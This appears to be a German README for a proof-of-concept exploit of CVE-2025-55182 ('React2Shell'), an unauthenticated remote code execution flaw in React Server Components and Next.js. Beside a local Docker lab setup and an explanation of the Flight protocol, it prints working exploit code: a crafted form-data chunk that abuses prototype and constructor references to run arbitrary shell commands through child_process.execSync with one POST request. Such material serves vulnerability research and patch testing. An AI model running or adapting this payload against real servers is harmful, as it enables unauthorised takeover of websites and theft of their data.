
Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls.
CVE-2025-55182 ist eine der am weitesten verbreiteten Schwachstellen in Web-Frameworks im Jahr 2025. React Server Components (RSC) sind inzwischen die vorherrschende Architektur moderner Next.js-Anwendungen. Eine Vielzahl von Standardprojekten, die mit create-next-app erstellt wurden, ist betroffen – und die Schwachstelle kann ohne jeglichen benutzerdefinierten Code ausgenutzt werden.
| Element | Inhalt |
|---|---|
| CVE-Kennung | CVE-2025-55182 |
| Alternativname | React2Shell |
| Schwachstellentyp | Nicht authentifizierte Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialisierung nicht vertrauenswürdiger Daten (Deserialization of Untrusted Data) [3] |
| CVSS-Score | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Betroffene Pakete | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Betroffene Versionen | React 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 und höher, 15.x, 16.x |
| Angriffskomplexität | Sehr gering (ein einzelner HTTP-POST-Request) |
| Authentifizierung erforderlich | Nein |
Erstellen Sie eine Next-Anwendung mit der verwundbaren Version (16.0.6):
pnpm create [email protected] next-app --yes
Fügen Sie unter next-app/app/ eine Datei actions.ts hinzu und markieren Sie sie als Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
Fügen Sie auf der Startseite (z. B. app/page.tsx) ein Formular hinzu, dessen action auf die oben genannte testAction verweist und das mindestens ein Feld enthält (z. B. ein Hidden Input).
Next.js erzeugt für dieses Formular im HTML ein Hidden Input mit
name="$ACTION_ID_<40 Zeichen hex>"; der POC extrahiert diese ID per Regex aus dem HTML der Startseite.
Die Dateien next-app/Dockerfile und docker-compose.yml im Projekt können zum Erstellen und Ausführen der Next-Anwendung verwendet werden; als Vorbild kann das offizielle Beispiel [8] dienen.
Führen Sie im Projektstammverzeichnis aus:
docker compose up --build -d
Die gestartete Next-Anwendung ist anschließend unter http://localhost:3000 erreichbar.
Entfernen Sie nach Abschluss des POC die Docker-Umgebung vollständig:
docker compose down -v
Beim Ausführen des POC ruft das Skript die Startseite ab und extrahiert die ID mit dem Regex \$ACTION_ID_([a-f0-9]{40})/. Beispiel:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Installieren Sie die Abhängigkeiten im Projektstammverzeichnis und führen Sie Folgendes aus:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Die zentralen Codeausschnitte sind:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Im Folgenden wird als Beispiel das Schreiben einer Datei auf dem Zielsystem gezeigt:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec in den Container wechseln oder über Docker Desktop nachsehen.Die Schwachstelle befindet sich in der Flight-Protokoll-Deserialisierung von React (RSC Flight Deserializer). Dieser Mechanismus ist für die Übertragung des React-Komponentenzustands zwischen Server und Client zuständig, weist jedoch ein schwerwiegendes Problem an der Vertrauensgrenze im Verarbeitungsprozess auf.
Das React-Flight-Protokoll ist das von React für Server Components und Server Actions entworfene Wire-Format: Es serialisiert Komponentenbäume, Funktionsargumente usw. in einen als JSON dargestellten Chunk-Stream und erstellt über
$Nummerund$Nummer:SchlüsselnameReferenzen zwischen den Chunks, sodass der Server daraus vollständige JavaScript-Werte rekonstruieren kann.
Angreifer sendet bösartigen HTTP-POST-Request
↓
[Phase 1] Erstellen eines selbstreferenziellen Schleifenobjekts (Self-referential loop)
↓
[Phase 2] JavaScript-Engine dazu verleiten, eine vom Angreifer kontrollierte Funktion aufzurufen
↓
[Phase 3] Injizieren bösartiger Daten, um den Flight-Initialisierungsprozess auszulösen
↓
[Phase 4] Aufruf des Function-Konstruktors über den Blob-Handler
↓
Beliebiger JavaScript-Code wird serverseitig ausgeführt (RCE)
Die Server Functions von React (in Next.js als Server Actions bekannt) serialisieren die Daten, die das Frontend an das Backend senden möchte, über das React-Flight-Protokoll in einzelne Chunks und übermitteln sie anschließend als Formulardaten (Form Data).
Zu den Vorteilen dieses Designs gehören:
Chunks können einander referenzieren, zum Beispiel:
["$1"] (referenziert Chunk 1){"object":"fruit","name":"$2:fruitName"} (referenziert fruitName aus Chunk 2){"fruitName":"cherry"}Der Server interpretiert dies und erhält: { object: 'fruit', name: 'cherry' }. Das Protokoll erlaubt es also, mit $Nummer:Schlüsselname auf Eigenschaften anderer Chunks zu verweisen und daraus das endgültige JavaScript-Objekt zusammenzusetzen.